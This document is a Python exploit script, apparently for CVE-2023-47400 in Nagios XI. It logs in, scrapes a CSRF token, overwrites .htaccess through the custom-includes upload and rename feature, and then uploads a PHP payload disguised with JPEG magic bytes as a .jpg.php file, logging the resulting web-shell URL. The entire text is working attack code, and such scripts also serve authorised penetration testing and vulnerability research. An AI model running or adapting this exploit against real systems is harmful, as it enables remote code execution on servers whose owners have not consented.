README.md
Rendering markdown...
import logging
from sys import exit
from requests import Session
from lxml import html
from uuid import uuid4
# TODO handle this by cli args
NAGIOS_URL = "https://10.10.11.248/nagiosxi"
USERNAME = "user"
PASSWORD = "pass"
JPEG_MAGIC_BYTES = b"\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01" # JFIF signature
# Try other magic bytes if this one doesn't work : https://en.wikipedia.org/wiki/List_of_file_signatures
def bootstrap_session():
s = Session()
s.trust_env = True # allow usage of HTTP_PROXY env var for DEBUG
s.verify = False
return s
def get_nsp_token(session) -> str:
resp = session.get(f"{NAGIOS_URL}/login.php")
login_page = html.fromstring(resp.content)
csrf_token = login_page.xpath(
"/html/body/div/div[4]/div/div[1]/div[1]/div[1]/form/input[1]/@value"
)[0]
return csrf_token
def log_in(session, nsp_token, username, password):
# prepare headers and payload
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
}
payload = {
"nsp": nsp_token,
"page": "auth",
"debug": "",
"pageopt": "login",
"username": username,
"password": password,
"loginButton": "",
}
# send POST request on /login.php to authenticate
login_response = session.post(
url=f"{NAGIOS_URL}/login.php", data=payload, headers=headers
)
return login_response
def upload_placeholder_image(session):
# prepare request
files = {"uploadedfile": ("placeholder.jpg", JPEG_MAGIC_BYTES, "image/jpeg")}
resp = session.post(
f"{NAGIOS_URL}/includes/components/custom-includes/manage.php?cmd=upload",
files=files,
)
return resp
def overwrite_htaccess(session, upload_placeholder_image_response):
# retrieve file id and rename it to .htaccess
file_upload_page = html.fromstring(upload_placeholder_image_response.content)
image_id = file_upload_page.xpath('//*[@data-name="placeholder.jpg"]/@data-obj-id')[
0
]
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = {"id": image_id, "name": ".htaccess"}
session.post(
f"{NAGIOS_URL}/includes/components/custom-includes/manage.php?cmd=rename",
data=data,
headers=headers,
)
return session.get(
f"{NAGIOS_URL}/includes/components/custom-includes/manage.php?cmd=delete&type=images&id={image_id}"
)
def build_payload() -> bytes:
with open("payload.php", "rb") as file:
exploit = JPEG_MAGIC_BYTES
exploit += file.read()
return exploit
def upload_payload(session, payload_name, payload_data):
# prepare request
files = {
"uploadedfile": (f"{payload_name}.jpg.php", payload_data, "application/x-php")
}
resp = session.post(
f"{NAGIOS_URL}/includes/components/custom-includes/manage.php?cmd=upload",
files=files,
)
return resp
def main() -> int:
# setup logging module
logger = logging.getLogger()
logger.name = "cve_2023_47400"
logger.setLevel(level=logging.INFO)
try:
# create session
sess = bootstrap_session()
# pre-flight request to aquire NSP token in index.php
nsp = get_nsp_token(sess)
# login with provided credentials
log_in_response = log_in(sess, nsp, USERNAME, PASSWORD)
if log_in_response.status_code == 200:
logging.info("Successful logged in")
else:
logging.error("Unsuccessful attempt to log in")
return 1
# upload placeholder image
upload_placeholder_image_response = upload_placeholder_image(sess)
if upload_placeholder_image_response.status_code == 200:
logging.info("Successfuly uploaded placeholder.jpg")
else:
logging.error("Unsuccessful attempt to upload placeholder.jpg")
return 1
overwrite_htaccess_response = overwrite_htaccess(
sess, upload_placeholder_image_response
)
if overwrite_htaccess_response.status_code == 200:
logging.info("Successfuly overwritten .htaccess")
else:
logging.error("Unsuccessful attempt to overwrite .htaccess")
return 1
payload_name = uuid4()
payload_data = build_payload()
upload_payload_response = upload_payload(sess, payload_name, payload_data)
if upload_payload_response.status_code == 200:
logging.info("Successfuly uploaded payload at :")
logging.info(
f"{NAGIOS_URL}/includes/components/custom-includes/images/{payload_name}.jpg.php"
)
logging.info("Exploit completed successfuly")
return 0
else:
logging.error("Unsuccessful attempt to upload payload")
return 1
# exits gracefully on CTRL+C
except KeyboardInterrupt:
logging.info("Exiting script gracefully")
return 0
# exits with error code 1 other exceptions
except Exception as err:
logging.critical("Exiting due to error")
logging.critical(err)
return 1
if __name__ == "__main__":
exit(main())